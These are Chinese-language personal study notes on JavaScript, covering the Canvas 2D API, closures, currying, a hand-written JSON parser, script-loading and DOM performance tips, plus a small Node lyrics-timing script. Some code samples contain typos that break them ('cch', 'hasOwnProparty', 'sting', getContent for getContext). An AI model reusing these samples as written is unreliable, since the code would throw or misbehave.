Canvas是双标签,标签中的文本内容是在浏览器不支持该标签是出现的,一定要在标签上设置宽高; + 取得绘图上下文对象的的引用:元素.getContent("2d"),获取2D上下文,在使用前要判断浏览器是否支持getContent; + toDataURL()方法可以导出画布中的图片,只有一个参数,即图片的MIME(默认png)类型格式。但是如果绘制到画布上的图像来自不同的域,该方法会抛异常。 ```js var drawimg=document.querySelector(".drawing"); if(drawimg.getContext) { //var context=drawimg.getContext("2d"); var imgURI=drawimg.toDataURL("image/png"); var image=document.createElement("img"); image.src=imgURI; document.body.appendChild(image); } ``` ### 2D上下文 - 2D上下文可以简单绘制2D图像,比如矩,弧形和路径。原点左边为画布左上角,x向右为正,y向下为正。 + 填充(context.fillStyle="颜色")和描边(context.strokeStyle="颜色"),所有涉及到描边和填充的操作都使用这两个样式,直到被重置。 + 填充矩形:context.fillRect();描边矩形:context.strokeRect();透明矩形(用来删除某一块图型):context.clearRect();四个参数(不带用单位),单位都为像素:x轴,y轴,宽度,高度; + 描边线条宽度context.lineWidth="10";lineCap控制线条末端是平头,圆头还是方头("butt","round"或"square");lineJoin属性控制线条相交是圆交,斜交,还是斜接('round','bevel'或'miter')。 + 注意:一定要先设置描述,一旦设置了画图方式,后面的描述就不会在影响当前图片了。 ```js var context=drawimg.getContext("2d"); context.lineCap="round"; context.strokeStyle="green"; context.strokeRect(11,111,51,1); ``` - 绘制路径 + 要绘制路径,首先要调用beginPath()方法。表示要开始绘制新路径。 + arc(x,y,radius,startAngle,endAngle,counterclockwise):以(x,y)为原型绘制一条弧线,弧线半径为radius,起始和结束角度分别为startAngle和endAngle。最后一个参数表示startAngle和endAngle是否按照逆时针方向计算,值为false表示按照顺时针方向计算。 + arcTo(x1,y1,x2,y2,radius):从上一点开始绘制一条曲线,到(x,y)为止,并且以给定的半径radius穿过(x1,y1). + bezierCurveTo(c1x,c1y,c2x,c2y,x,y):从上一点开始绘制一条曲线,到(x,y)为止,并且以(c1x,c1y)和(c2x,c2y)为控制点。 + lineTo(x,y):从上一点开始绘制一条直线,到(x,y)为止。 + moveTo(x,y):将绘图游标移动到(x,y),不画线。 + quadraticCurveTo(cx,cy,x,y):从上一点开始绘制一条二次曲线,到(x,y)为止,并且以(cx,xy)作为控制点。 + rect(x,y,width,height):从点(x,y)开始绘制一个矩形,宽度和高度分别由width和height指定。这个方法绘制的是矩形路径,而不是strokeRect()和fillRect()所绘制的独立的形状。 + 创建完路径后,如果像绘制一条连接到路径起点的线条,可以调用closePath()。如果路径已经完成,可以用fillStyle填充,可以调用fill()方法。另外,stroke()方法对路径描边,描边使用strokeStyle。最后还可以调用clip(),这个方法可以在路径上创建一个截取区域。 + 不带数字的钟表盘 ```js var drawing=document.querySelector("canvas"); // 确定浏览器支持<canvas>元素 if(drawing.getContext) { var context=drawing.getContext("2d"); // 开始路径 context.beginPath(); // 绘制外圆 context.arc(100,100,99,0,2*Math.PI,false); // 绘制内圆 context.moveTo(194,100); context.arc(100,100,94,0,2*Math.PI,false); // 绘制分针 context.moveTo(100,100); context.lineTo(100,15); // 绘制时针 context.moveTo(100,100); context.lineTo(35,100); // 描边路径 context.stroke(); } ``` + isPointInPath(x,y)判断路径被关闭之前画布上的某一个点是否位于路径上。 <file_sep>## 基本概念 - 本章内容 - 语法 - 数据类型 - 流控制语句 - 理解函数 ### 语法 - 区分大小写 + ECMAScript中的一切(变量,函数名和操作符)都区分大小写。 - 标识符 - 所谓的标识符,就是指变量,函数,属性的名字,或函数的参数。标识符可以按照下列格式规则组合起来的一个或多个字符: + 第一个字符必须是一个字母,下划线(_)或者一个美元符号($); + 其他字母可以是字母,下划线,美元符号或数字。 + 按照惯例,ECMAScript标识符采用驼峰命名法。 - 注释 + 单行注释:// + 多行注释 /* */ - 严格模式 + ECMAScipr5引入了严格模式的概念 。 + 要在整个脚本开启严格模式,可以在顶部添加这行代码:function(){ "use strict" // 函数体} + 支持严格模式的浏览器包括IE10+和其他浏览器 <file_sep>## 精华 - 给函数原型添加方便注册属性的方法 Function.prototype.method=function(name,func){ this.prototype[name]=func; return this; } - JavaScript有两种注释符:/**/和//,使用前者,如果在正则表达式中出现了*/,这对注释代码是不安全的,推荐使用后者。 ## 对象 - delete操作符只能删除对象本身的属性,不能删除原型链上的属性。 - 把全局性的资源都纳入到一个命名空间下,可以减少全局变量污染。 ## 函数 - 函数用于代码复用,信息隐藏,组合调用,所谓编程,就是将一组需求分解成一组函数与数据结构的技能。 ### 函数对象 - 每个函数对象创建时,会附加两个隐藏输出:函数上下文和实现函数行为的代码(JavaScript在创建函数对象时,会给一个“调用”属性,当当用函数时,可以了解为调用函数的调用属性)。 - 通过函数字面量创建的函数对象包含一个连到外部上下文的连接,这被称为闭包 ### 调用 - 在JavaScript中一共有四种调用模式:方法调用模式,函数调用模式,构造器调用模式和apply调用模式。这些模式在初始化关键参数this存在差异。 - 方法调用模式:当一个函数被保持为对象的一个属性时,称为它的一个方法。通过this可取到它们所属对象的上下文的方法称为公共方法。 - 函数调用模式:当一个函数并非一个对象的属性时,那么它就是当成一个函数调用的。以这种模式调用函数,this被绑定到全局对象,这个是语言上设计的一个错误,应该绑定到外部函数的this变量。 - 构造器调用模式:JavaScript是一门基于原型继承的语言,但当今大多数语言都是基于类的语言,所以它提供了一套和基于类的语言类似对象构建语法。 - Apply函数调用:因为JavaScript是一门函数式的面向对象编程语言,所以函数可以拥有方法。Apply允许我们选择this的值。 ### 递归 - 通过递归获取dom元素 ````js var walk_the_DOM=function walk(node,func){ //对当前dom对象的自定义处理方案 func(node); //获取当前元素的第一个子元素 node=node.firstChild; //判断当前元素有子元素则循环,判断当前元素的下一个是否是元素 while(node){ //递归当前元素 walk(node,func); //获取下一个元素 node=node.nextSibling; } } //attr自定义属性名,value自定义属性值 var getElementsByAttribute=function(att,value){ var result=[]; //获取页面有某种自定义属性的标签 walk_the_DOM(document.body,function(node){ //判断是否是元素节点,是则返回自定义属性值 var actual=node.nodeType===1&&node.getAttribute(att); //如果当前元素有att自定义属性,则返回自定义属性的属性值 if(typeof actual==="string"&&(actual===value||typeof value !=='string')){ result.push(node); } }) return result; } ```` ### 闭包 - 避免在循环中创建函数,可以带来无谓的计算,还容易引起混淆,可以在循环外创建一个辅助函数。 ````js var add_the_handles = function (nodes) { function dj(i) { return function () { console.log(i); } } for (var i = 0; i < nodes.length; i++) { nodes[i].onclick = dj(i); } } ```` ### 模块 - 模块是一个提供接口却隐藏状态与实现的函数或对象。 - 模块模式的一般形式是,一个定义了私有变量和函数的函数,利用闭包创建可以访问私有变量和函数的特权函数;最后返回这个特权函数,或者把它们保存到一个可以访问的地方。 - 一个替换字符串HTML字符实体替换为对应的字符。 ````js Function.prototype.method = function (name, func) { //判断是否已经有该方法 if (!this.prototype[name]) { this.prototype[name] = func; return this; } } String.method('deentityify', function () { //字符实体只要初始化一次,且只能在当前函数内部访问(闭包) var entity = { quot: '"', lt: "<", gt: ">" } return function () { //()给字符串进行分组 return this.replace(/&([^&;]+);/g, function (a, b) { var r = entity[b]; return typeof r === "string" ? r : a; }) } }()); console.log("&lt;&quot;&gt;".deentityify()); ```` ### 级联 - 有一些方法没有返回值,让这些方法返回this而不是undefined就可以启用级联。 ### 函数柯里化 - 柯里化,也常译为“局部套用” ,是把多参数函数转化为一系列单参数并进行调用的技术。 + 柯里化三个常见的作用:1.参数复用;2.提前返回(在判断浏览器(类型)事件绑定的时候,只判断一次);3.延时计算(bind)。 ````js Function.method('curry',function(){ var slice=Array.prototype.slice, args=slice.apply(arguments), that=this; return function(){ return that.apply(null,args.concat(slice.apply(arguments))); } }) ```` ### 记忆 - 本质是就是把计算结果保存在一个数组中,防止重复计算同样的值。 ```` js var memoizer=function(memo,formula){ var recur=function(n,m){ var result=memo[n]; if(typeof result!=='number'){ result=formula(recur,n); memo[n]=result; } return result; }; return recur; } var factorial=memoizer([1,1],function(recur,n){ return n*recur(n-1); }) console.log(factorial(5)) ```` ## 继承 ### 函数化 - 函数化模式有很大的灵活性。它相比伪类模式不仅带来的工作更少,还让我们得到更好的封装和信息隐藏,以及访问父类方法的能力。函数化模式的本质就是函数中传递的对象经过每个函数都在增强。 ````js var mammal=function(spac){ var that={}; that.get_name=function(){ return spac.name; } that.says=function(){ return spac.saying||''; } return that; } var myMammal=mammal({name:'herb'}); var cat=function(spec){ spec.saying=spec.saying||'meow'; var that=mammal(spec); that.purr=function(n){ var i,s=''; for(var i=0;i<n;i+=1){ if(s){ s+='-'; } s+='r'; } return s; } that.get_name=function(){ return that.says()+' '+spec.name+' '+that.says(); } return that; } var myCat=cat({name:'Henrietta'}); Object.method('superior',function(name){ var that=this, //获取父类的同名方法 method=that[name]; return function(){ //返回一个同功能的新方法 return method.apply(that,arguments); } }) var coolCat=function(spac){ var that=cat(spac), //返回一个和父类方法功能一样的新方法。 super_get_name=that.superior('get_name'); that.get_name=function(n){ //在子类的基础上扩展父类的方法。 return 'like '+super_get_name()+' baby'; } return that; } var myCoolCat=coolCat({name:'Bix'}); var name=myCoolCat.get_name(); console.log(name); ```` ### 部件 - 可以构造一个给任何对象添加简单事件处理特性的函数,它会给对象添加一个on方法,一个fire方法和一个私有的事件注册对象。 - 用这种方法,一个构造器可以从一套部件中把对象组装起来。 ````js var eventuality=function(that){ var registry={}; that.fire=function(event){ //在一个对象上触发一个事件,该事件可以是一个包含事件名称的字符串, //或者是一个拥有包含事件名称的type属性的对象 //通过对on方法注册的事件处理对象中匹配事件名称相同的函数进行调用 var array,func,handler,i,type=typeof event==="sting"?event:event.type; //如果事件对象中有这个事件,则把事件对应的函数进行循环调用。 if(registry.hasOwnProparty(type)){ array=registry[type]; for(var i=0;i<array.length;i+=1){ handler=array[i]; func=handler.method; //如果该方法是一个字符串形式的名字,那么寻找到该函数。 //如果注册事件对应的函数是自身的方法,method参数可以是一个字符串 if(typeof func==='string'){ func=this[func]; } func.apply(this,handler.parameters||[event]); } } return this; } //type:事件类型 method:方法:parameters方法参数 that.on=function(type,method,parameters){ var handler={ method:method, parameters:parameters }; //判断当前对象是否已注册该事件 if(registry.hasOwnProparty(type)){ registry[type].push(handler); }else{ //没有则添加一个新数组,数组有一个值,为当前事件调用的函数。 registry[type]=[handler]; } return this; } return that; } eventuality(that); ```` ## 正则表达式 - 可以用到正则的方法有:regexp.exec,regexp.test,string.match(返回指定的值和值的位置),string.replace,string.search(indexof是更底层的方法,虽然不能使用正则,但效率更高),string.split - (?:...)?表示一个可选的非捕获型分组。通常用非捕获型分组来替代少量不优美的捕获型分组是很好的方法,因为捕获会有性能上的损失。 - \1表示指向(分组1)所捕获到文本的一个引用,所以它能再次匹配。 ### 正则表达式分组 - 捕获型:一个捕获型分组是一个包围在圆括号中的正则表达式分支。任何匹配这个分组的字符都会被捕获。每个捕获分组都被指定了一个数字。在正则表达式中第1个捕获的分组是1,第二个捕获的分组是2,以此类推。 - 非捕获型:非捕获型分组有一个(?:前缀。非捕获型分组仅做简单的匹配,并不会捕获所匹配的文本。这回带来微弱的性能优势。非捕获型分组不会干扰捕获型分组的编号。 - 向前正向匹配:向前正向匹配分组有一个(?=前缀。它类似于非捕获型分组,但在这个组匹配后,文本会倒回到它最开始的地方,实际上并不匹配任何东西。这不上一个好的特性/ - 向前负向匹配:向前负向匹配分组有一个(?!前缀。它类似于向前正向匹配分组,但只有当它匹配失败时它才继续向前进行匹配。这不是一个好的特性。 ## 方法 ### 数组 - concat方法参数一个新数组,包含一份array的浅复制并把一个或多个item附加到其后。如果参数item是一个数组,那么它的每个元素会被分别添加(数组中就它一个会对加入的参数是数组时进行展开)。 - pop方法移除array的最后一个元素并返回该元素。 - push方法把一个或多个参数item附加到一个数组的尾部。和concat方法不同,它会修改array,如果参数item是一个数组,它会把参数数组作为单个元素添加到数组中,并返回数组新长度。 - reverse把数组反转,并返回本身。 - shift方法移除数组array中第一个元素并返回该数组shift通常比pop慢的多。 - slice(start,end)方法对array中的一段代码浅复制。 - splice(start,deleteCount,item)方法从array中移除一个或多个元素,并用新的item替换它们,返回一个包含被移除元素的数组。 - unshift方法和push一样,把元素添加到数组中。但是添加到开始而不是尾部。 ### function ````js Function.method("bint",function(that){ //[1]本质上就是把1传递给slice,把arguments除了第一个外的成员转化为数组。 var method=this,args=[].slice.apply(arguments,[1]); return function(){ method.apply(that,[].slice.apply(arguments).concat(args)); } }) var zhi=function(){ console.log(this.value); }.bint({value:"tt"}); zhi(); ```` ### String - string.charAt(pos): charAt方法返回在string中pos位置处出现的字符,Javascript没有字符类型,返回的时一个字符串。如果pos小于0或大于等于字符串长度,它会返回空字符串。 - string.charCodeAt(pos):以整数形式返回pos位置处字符的字符码位。如果小于0或者大于等于字符串长度返回NaN。 - string.concat():把字符串连接在一起。 - sting.indexOf(searchString,position):查找字符串searchString,有则返回字符串所在位置,没有则返回-1.position设置查找的起始位置。 - string.lastindexOf:从后往前找。 - string.localeCompare(that):比较两个字符串,如果string比字符串that小,那么结果为负数。如果相等则为0. - string.match(regexp):match方法可以让字符串和一个正则表达式进行匹配。它依据g标识来决定如何进行匹配,如果没有g标识,那么调用string.match(regexp)的结果和regexp.exec(string)的结果一样。如果regexp带有g标识,那么它生成一个包含所有匹配(除捕获分组之外)的数组。 - string.replace第一个参数可以是参数或字符串,第二个参数可以是捕获组或者字符串或者函数。 ````js //把匹配到的字符串替换成这个字符串中的第一个捕获分组 var oldareacode=/\((\d{3})\)/g;var p='(555)666-1212'.replace(oldareacode,'$1-'); ```` - string.search(regexp)和正则test方法类似,不支持全局g匹配。返回是匹配到字符串出现的位置。 - string.slice(start,end):复制string的一部分构造一个新字符串。 - string.split(separator,limit):separator可以是一个字符串或者正则表达式,可选参数limit可以限制被分割的片段数量(取前几片)。 - string.substring(start,end):用法和slice方法一样,但是它不能处理负数参数(参数小于0当成0处理),没有理由去使用它,请使用slice(参数小于0反向取反)。 - str.substr(start,len):第一个参数小于0,从后向前处理。 - string.toLowerCase():大写转小写 - string.toUpperCase():小写转大写 - string.fromCharCode(char..):工具一串数字编码返回一个字符串。 ````js var a=String.fromCharCode(67,97,116); ```` ## 附录E ###JSON语法 - JSON有六种类型:对象,数组,数字,字符串,布尔值,和特殊值null。 - 一个JSON解析器 自定义把JSON格式字符串解析为对象的方法。 ````js var json_parse = function () { //这是一个能把JSON文本解析成JavaScript数据结构的函数。 //它是一个简单的递归降序解析器 //在另一个函数中定义此函数,以避免创建全局变量 var at, //当前字符索引 ch, //当前字符 escapee = { '"': '"', '\\': '\\', '/': '/', b: 'b', f: "\f", n: "\n", r: "\r", t: '\t' }, text, error = function (m) { //当某处出错时,调用error throw { name: 'SyntaxError', message: m, at: at, text: text }; }, next = function (c) { //如果提供了参数c,那么检验它是否匹配当前字符。 if (c && c != ch) { error("Expected '" + c + "' instead of '" + ch + "'"); } //获取下一个字符。当没有下一个字符时,返回一个空字符串。 ch = text.charAt(at); at += 1; return ch; }, //解析一个数字值 number = function () { var number, string = ''; if (ch === '-') { string = '-'; next('-'); } while (ch >= '0' && ch <= '9') { string += ch; next(); } if (ch === '.') { string += '.'; while (next() && ch >= '0' && ch <= '9') { string += ch; } } if (ch == 'e' || ch === 'E') { string += ch; next(); if (ch === '-' || cch === "+") { string += ch; next(); } while (ch >= '0' && ch <= '9') { string += ch; next(); } } number = +string; if (isNaN(number)) { error("Bad number"); } else { return number; } },//解析一个字符串值 string = function () { var hex, i, string = '', uffff; //当解析字符串时,必须找到“和\字符 if (ch === '"') { while (next()) { if (ch === '"') { next(); return string; } else if (ch === '\\') { next(); if (ch === 'u') { uffff = 0; for (i = 0; i < 4; i += 1) { hex = parseInt(next(), 16); if (!isFinite(hex)) { break; } uffff = uffff * 16 + hex; } string += String.fromCharCode(uffff); } else if (typeof escapee[ch] === "string") { string += escapee[ch]; } else { break; } } else { string += ch; } } } error("Bad string"); }, //跳过空白 white = function () { while (ch && ch <= ' ') { next(); } }, // word = function () { switch (ch) { case 't': next('t'); next('r'); next('u'); next('e'); return true; case 'f': next('f'); next('a'); next('l'); next('s'); next('e'); return false; case 'n': next('n'); next('u'); next('l'); next('l'); return null; } error("Unexpected '" + ch + "'"); }, value, //值函数的占位符 //解析一个数组值 array = function () { var array = []; if (ch === '[') { next('['); white(); if (ch === ']') { next(']'); return array; } while (ch) { array.push(value()); white(); if (ch === ']') { next(']'); return array; } next(','); white(); } } error("Bad array"); }, //解析一个对象值 object = function () { var key, object = {}; if (ch === '{') { next('{'); white(); if (ch === '}') { next('}'); return object; } while (ch) { key = string(); white(); next(':'); object[key] = value(); white(); if (ch === '}') { next('}'); return object; } next(','); white(); } } error("Bad object"); }; //解析一个JSON值。它可以是对象,数组,字符串,数字或一个词。 value = function () { white(); switch (ch) { case '{': return object(); case '[': return array(); case '"': return string(); case '-': return number(); default: return ch >= '0' && ch <= '9' ? number() : word(); } }; //返回json_parse函数。它能访问上述所有的函数和变量 return function (source, reviver) { var result; text = source; at = 0; ch = ' '; result = value(); white(); if (ch) { error("Syntax error"); } //如果存在reviver函数,就递归对这个新结构调用walk函数, //开始时先创建一个临时的启动对象,并以一个空字符串作为键名保存结果, //然后传递每个‘名/值’对给reviver函数去处理可能存在的转化 //如果没有reviver函数,就简单返回这个结果。 return typeof reviver === 'function' ? function walk(holder, key) { var k, v, value = holder[key]; if (value && typeof value === 'object') { for (k in value) { if (Object.hasOwnProperty.call(value, k)) { v = walk(value, k); if (v !== undefined) { value[k] = v; } else { delete value[k]; } } } } return reviver.call(holder, key, value); }({ '': result }, '') : result; } }(); ```` <file_sep> const fs=require('fs'); const path=require('path'); const iconv=require('iconv-lite'); const msname=process.argv[2]; // console.dir(iconv) // console.log(process.mainModule) const musicstr=iconv.decode(fs.readFileSync(path.join(process.cwd(),msname)),'gbk'); const msArr=musicstr.split('\n'); msArr.forEach((item)=>{ let strArr=/\[(\d{2})\:(\d{2})\.(\d{2})\]\s(.+)/.exec(item); if(strArr) { setTimeout(function() { console.log(strArr[4]) }, parseInt(strArr[1])*60*1000+parseInt(strArr[2])*1000+parseInt(strArr[3])); }else{ console.log(item); } // console.log(strArr); }) // console.log(msArr);<file_sep>## Loading and Execution 加载和运行 ### Grouping Scripts 成组脚本 - 由于每个script标签下载时阻塞页面解析过程,所以限制页面script总数也可以改善性能。这个规则对内联脚本和外部脚本同样适用。每当页面解析碰到一个script标签时,紧接着有一段事件用于代码执行。最小化这些延时事件可以改善页面整体性能。 - 每个HTTP请求都会产生额外的性能负担,下载一个100kb的文件比下载四个25kb的文件要快。 - 考虑后台实现联合句柄的方式,javascript脚本src带多个参数为js文件名,后台返回一个多文件合成的打包文件。 ### 动态创建脚本 - 动态创建脚本的重点在于,无论何处启动下载,文件的下载和运行都不会阻塞页面其它的处理过程。 + 当文件使用动态脚本节点下载时,返回的代码通常立即执行(除了FIrefox和Opera,他们将等待此前所有的动态脚本节点执行完毕),当脚本不依赖其它脚本则没有问题,但如果依赖其它脚本则可以出现问题。 + Firefox,Opera,Chorem和Safari都会在script节点接收完成之后发出一个load事件。 + Internet Explorer支持另一种实现,它发出一个readystatechange事件,script元素有一个readyState属性,它的值随着下载外部文件的过程而改变。readyState有五种取值:uninitialized-默认状态,loading-下载完成,interactive-下载完成但尚不可用,complate-所有数据已经准备好。 + 但ie有时出现loading,有时只出现complate,最可靠的办法时这两种状态都进行检查。 + 如果是多重依赖,可用使用嵌套调用。多个文件次序十分重要,可用把多个文件打包成一个,因为是异步的,使用一个大文件并没有什么损失。 + 支持跨域 ````js function loadScript(url, callBack) { var script = document.createElement("script"); script.type = "text/javascript"; if (script.readyState) { //IE script.onreadystatechange = function () { if (script.readyState == "loaded" || script.readyState == "complete") { // 释放监听script脚本加载状态改变的事件,保证事件不会被触发两次。 script.onreadystatechange = null; callBack(); } } } else { script.onload = function () { callBack(); } } script.src=url; document.getElementsByTagName("head")[0].appendChild(script); } ```` ### XHR脚本注入 - 另一个非阻塞的方式获得脚本的方法是使用XMLHttpRequest(XHR)对象将脚本注入到页面中。 - 这种方法的主要优点是,你可用下载不立即执行的JavaScript代码。由于代码返回在script标签之外(换句话说不受script标签约束),它下载后不会自动执行,这使得你可用推迟执行,直到一切都准备好了,另一个优点是,同样的代码在所有现代浏览器中都不会引发异常。 - 此方法最主要的限制是:javascript文件必须与页面放置在同一个域内。因为这个原因,大型网页通常不采用xhr脚本注入技术。 ## Data Access 数据访问 ### 四种基本的数据存储位置 - Literal values-直接量: 直接量仅仅代表直接,而不存储于特定位置。javascript的直接量包括:字符串,数字,布尔值,对象,数组,函数,正则表达式,具有特殊含义的空值,以及未定义。 - Variables 变量:开发人员使用var关键字创建用于存储数据值。 - Array items-数组项:具有数字索引,存储一个javascript数组对象。 - Object members-对象:具有字符串索引,存储一个javascript对象。 ### 标识符识别性能 - 总的趋势是,对所有浏览器来说,一个标识符所在的位置越深,读写它的速度越慢。采用优化的JavaScript引擎的浏览器,如Safari4,访问域外标识符时没有这种性能损失。 - 尽可能的使用局部变量:用局部变量存储本地范围之外的变量值,如果题目在函数中的使用多于一次。如document对象。 - 无论是with表达式还是try-catch表达式的catch子句,以及函数中包含()的函数,都被认为是动态作用域。一个动态作用域只因代码运行而存在,无法通过静态解析。 + 优化的Javascript引擎,企图通过分析代码来确定哪些变量应该在任意时刻被访问,来加快标识符识别过程。这些引擎企图避开传统的作用域查找,取代以标识符方式进行快速查找。但涉及到一个动态作用域后,这个优化就不起作用了,引擎需要切回慢速的基于哈希表的标识符识别方法,更像传统的作用域搜索。 - Closures,Scope,and Memory 闭包,作用域,和内存 + 一个函数的激活对象于运行期上下文一同销毁。当涉及闭包时,激活对象就无法销毁了,因为引用仍然存在于闭包的[[Scope]]属性中。这意味着脚本中闭包与非闭包相比,需要更多内存开销。 - 缓存对象成员的值,在处理嵌套对象成员时特别重要。 - 总结: + 局部变量比域外变量快,因为它位于作用域链的第一个对象中。变量在作用域总位置越深,访问所需时长越长。全局变量总数最慢的,因为它们总数位于作用域链的最后一环。 + 嵌套对象成员会造成重大性能影响,尽量少用。 + 一个属性或方法在原型中的位置越深,访问它的速度越慢。 + 可用将经常使用的对象才成员,数组项和域外变量存入局部变量中。然后,访问局部变量的速度会快于那些原始变量。 ## DOM Scripting DOM 编程 - 使用innerHTML和DOM方法创建一个1000行的表,在ie6中,innerHTML比对手快3倍,但在最新的基于WebKit的浏览器中慢于对手。 - 只表示元素节点的DOM属性(html标签)和表示所有节点的属性。 ````js Property Use as a replacementfor children childNodes childElementCount childNodes.length firstElementChild firstChild lastElementChild lastChild nextElementSibing nextSibling previousElementSibling previousSibling //IE7,8,9只支持children,其它不支持??其它浏览器都支持 ```` - querySelectorAll返回一个NodeList--由符合条件构成的类数组对象。这个选择器API在IE8开始兼容,当需要联合查询时,性能比getElementsByTagName快了2-6倍。 - getElementsByTagName返回的时一个HTML集合。 ### 重排和重绘 - 一颗DOM树,表示页面结构,一颗渲染树,表示节点如何展示。 - 获取布局信息的操作将导致刷新队列动作,意味着使用了以下方法 + 布局信息由这些属性和方法返回最新的数据,所以浏览器不得不运行渲染队列中待改变的项目并重新排版以返回正确的值。 + 在改变风格过程中,最好不要使用这些查询API。任何一个访问都将刷新渲染队列。即使你正在获取那些最近未发生改变的或者与最新改变无关的布局信息。 ````js offsetTop序列 scrollTop序列 clienTop序列 getComputedStyle()(currentStyle in IE); ```` ### 最小化重绘和重排版 - 改变风格:3次改变元素的风格,在老版浏览器中重绘(重排)了3次,大多数现代浏览器优化了只进行一次重排。 + 更高效的方法是使用cssText,合并在一起执行,只修改一次DOM。 + 另一个一次性修改风格的办法是修改css的类名称。 ### 批量修改DOM - 当需要对DOM元素进行多次修改时,可以通过以下步骤减少重排和重绘的次数。 + 1.从文档流中摘除元素。 + 2.对其进行多次改变。 + 3.将元素带回文档中 + 有三种方法可以把元素从文档中摘除 - 隐藏元素,进行修改,然后显示它。 - 使用一个文档片段在已存DOM之外创建一个子树,然后将它拷贝到文档中(document.createDocumentFragment)。 - 将原始元素拷贝到一个脱离文档的节点中,修改副本,然后覆盖原始元素。 - 推荐尽可能的使用文档片段(第二张解决方案),因为它涉及到最少数量的DOM操作和重排版。 ### 缓冲布局信息 - 浏览器通过队列化修改和批量运行的方法,尽量减少重排次数。当查询布局信息如偏移量,滚动条位置,或风格属性时,浏览器刷新队列并执行所有修改操作,以返回最新的数值。最好是减少对布局信息的查询次数,查询时将它赋值给局部变量,并用局部变量来计算。 ### 将元素提出动画流 - 使用以下步骤可以避免大部分页面进行重排版 + 1.使用绝对坐标定位页面动画的元素,使它位于页面布局流之外。 + 2.启动元素动画。当它扩大时,它临时覆盖部分页面。这是一个重绘过程,但只影响页面的一小部分,避免重新排版并重绘一大块页面。 + 3.动画结束时,重新定位,从而只一次下移文档其它元素的位置。 #### IE和:hover - 如果大量元素使用了:hover会降低反应速度。 ### 总结 - DOM访问和操作时现代网页应用中很重要的一部分,但每次通过桥梁从ECMAScript岛到达DOM岛时,都会被收取“过桥费”。为减少DOM编程中性能的损失,请牢记以下几点: + 最小化DOM访问,在javaScript端做尽可能多的事情。 + 在反复访问的地方使用局部变量存放DOM引用。 + 小心地处理HTML集合,因为他们表现出“存在性”,总是对底层文档重新查询。将集合的length属性缓存到一个变量中,在迭代中使用这个变量。如果经常操作这个集合,可以把集合拷贝到数组中。 + 可能的话,使用速度更快的API,诸如querySelectorAll和firstElementChild。 + 注意重绘和重排版;批量修改风格,离线操作DOM树,缓存并减少对布局信息的访问。 + 动画中使用绝对坐标,使用拖放代理。 + 使用事件托管技术最小化事件句柄数量。 ## 算法和流程控制总结 - for,while,do-while循环的性能特性相似,谁也不比谁更快或更慢。 - 除非要迭代遍历一个属性未知的对象,否则不要使用for-in循环。 - 改善循环性能的最好办法是减少每次迭代中的运算量,并减少循环迭代次数。 + 如先取集合的长度记录下来。 + 对循环进行倒序,(for var i=10;i--){}判断i是否为true。 - 一般来说,switch总数比if-else更快,但并不总是最好的解决方法。 - 当判断条件较多时,查表法(数组查询)比if-else或者switch更快。 - 浏览器的调用栈尺寸限制了递归算法在javascript中的应用;栈溢出错误导致其它代码也不能正常执行。 - 如果遇到一个栈溢出错误,将方法修改为一个迭代算法或者使用制表法(把计算结果缓存到一个数组中,下次遇到同样的计算直接返回)可以避免重复工作。 - 运行的代码总量越大,使用这些策略带来的性能提示就越明显。 ## 字符串和正则表达式 - 加和加等于操作 + 发生了四个步骤: str+="one"+"two"; - 1.内存中创建了一个临时字符串 - 2.临时字符串的值被赋予“onetwo” - 3.临时字符串与str的值进行连接 - 4.结果赋予str - str+=“one”;str+="two";可以通过两个离散表达式直接将内容附加在str上避免了临时字符串。在大多数浏览器上这样做可加快10%-40%; - str=str+"one"+"two";这就避免了使用临时字符串,因为赋值表达式开头以str为基础,一次追加一个字符,从左往右依次连接。如果改变连接顺序,就会失去这种优化。这与浏览器合并字符串时分配内存的方法有关。除IE以外,浏览器尝试扩展表达式左侧字符串的内存,然后简单的将第二个字符串拷贝到它的尾部。如果在一个循环中,基本字符串位于最左端,就可以避免多次复制一个越来越大的基本字符串。 - 这些技术并不适用与IE。它们几乎没有任何作用,在IE8上甚至比IE7和早期版本更慢。这与IE执行的连接操作的机制有关。在IE8中,连接字符串只是记录下构成新字符串的各部分字符串的引用。在最后时刻(当你真正使用连接后的字符串时),各部分字符串才被逐个拷贝到一个新的“真正的”字符串中,然后用它取代先前的字符串引用,所以并非每次使用字符串时都发生合并操作。 - 数组连接(join) + 在大多数浏览器上,数组连接比连接字符串的其它方法更慢,但在事实上,为一种补偿方法,在IE7或者更早的浏览器上它是连接大量字符串唯一高效的途径。 - concat + 追加一个或多个字符串,大多数情况下比简单的+和+=慢一些, 看起来和数组连接差不多,但通常它更慢(Opera除外),而且它还潜伏着灾难性的性能委托,正如IE7和更早版本中使用+和+=创建大字符串一样。 ### 正则表达式优化 - 分支:当一个正则表达式扫描目标字符串时,它从左往右逐个扫描正则表达式的组成部分,在每个位置上测试能不能找到一个匹配。对于每一个量词和分支,都必须决定如何继续进行。如果是一个量词(诸如*,+?,或者{2,}),正则表达式都必须决定何时匹配更多的字符;如果遇到分支(|),它必须从这些选项中选择一个进行尝试。 - 回溯:每当正则表达式做出这样的决定,如果有必要的话,它会记住另一个选项,以备将来返回后使用。如果所选的方案匹配成功,正则表达式将继续扫描正则表达式模板,如果其全部匹配也成功了,那么匹配就结束了。但是如果选择的方案未能发现相应匹配,或者后来的 匹配也失败了,正则表达式将回溯到最后一个决策点,然后在剩下的选项中选一个。它继续这样下去,直到找到一个匹配,或者量词和分支选项的所有可能的排列组合都尝试失败了,那么它将放弃这一过程,然后移动到此过程开始位置的下一个字符上,重复此过程。 - *贪婪匹配和*?惰性(又名非贪婪)量词 - 回溯失控(无意义的回溯)的解决方案: + 具体化:用更具体的替代过于宽泛的。 + 使用前瞻和向后引用列举原子组:(?=(pattern to make atomic))\1 - 在任何打算使用原子组的模式中这个结构都是可重用的。只要记住,你需要适当的后向引用次数,如果你的正则表达式包含多个捕获组。 - 正则表达式每次找到一个中间标签就退出一个前瞻,它在前瞻过程中丢弃所有回溯位置,下一个后向引用简单地重新匹配前瞻过程中发现地字符,将他们作为实际匹配地一部分。 - 提高正则表达式效率的更多方法 + 关注如何让匹配更快失败 + 正则表达式以简单的,必须的子元开始 + 尽量避免一个正则表达式做太多的工作。复杂的搜索问题需要条件逻辑,拆分为两个或多个正则表达式让容易解决,通常也更高效,每个正则表达式只在最后的匹配结果中执行查找。在一个模板中完成所有工作的正则表达式怪兽很难维护,而且容易引起回溯相关的问题。 - 正则表达式去字符串手尾空格。 ````js if(!String.prototype.trim){ String.prototype.trim=function(){ return this.replace(/^\s+/,"").replace(/\s+$/,""); } } ```` ## 响应接口 - 